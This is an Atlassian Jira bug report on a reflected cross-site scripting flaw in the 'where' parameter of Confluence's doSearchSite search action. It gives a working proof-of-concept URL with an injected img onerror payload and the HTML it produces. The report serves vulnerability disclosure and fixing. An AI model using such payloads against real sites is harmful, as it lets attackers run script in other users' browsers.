Uploaded image for project: 'Confluence Data Center'
  1. Confluence Data Center
  2. CONFSERVER-30318

Reflected XSS in 'where' param of doSearchSite

    XMLWordPrintable

Details

    Description

      Olivier Beg <olivier@hotmail.lv> reported

      https://confluence.atlassian.com/dosearchsite.action?queryString=%22%3E&startIndex=0&lastModified=LASTWEEK&where=conf_all%22%3E%3Cimg%20src=x%20onerror=alert(1)%3E

      > I asume he is DOM based because he works in google chrome.

      This results in

        <input type="hidden" id="search-filter-by-space" name="where" value="conf_all&quot;&gt;&lt;img src=x onerror=alert(1)&gt;" style="width: 100%"/>
      

      which appears to be parsed as having a valid onerror attribute (???), which triggers the alert box if you move your mouse or just wait a second. Checked in Firefox and Chrome. Possibly where is used in javascript context in an unsafe way.

      Attachments

        Issue Links

          Activity

            People

              jxie Chii
              07a35db2eaaa olivier beg
              Votes:
              0 Vote for this issue
              Watchers:
              7 Start watching this issue

              Dates

                Created:
                Updated:
                Resolved: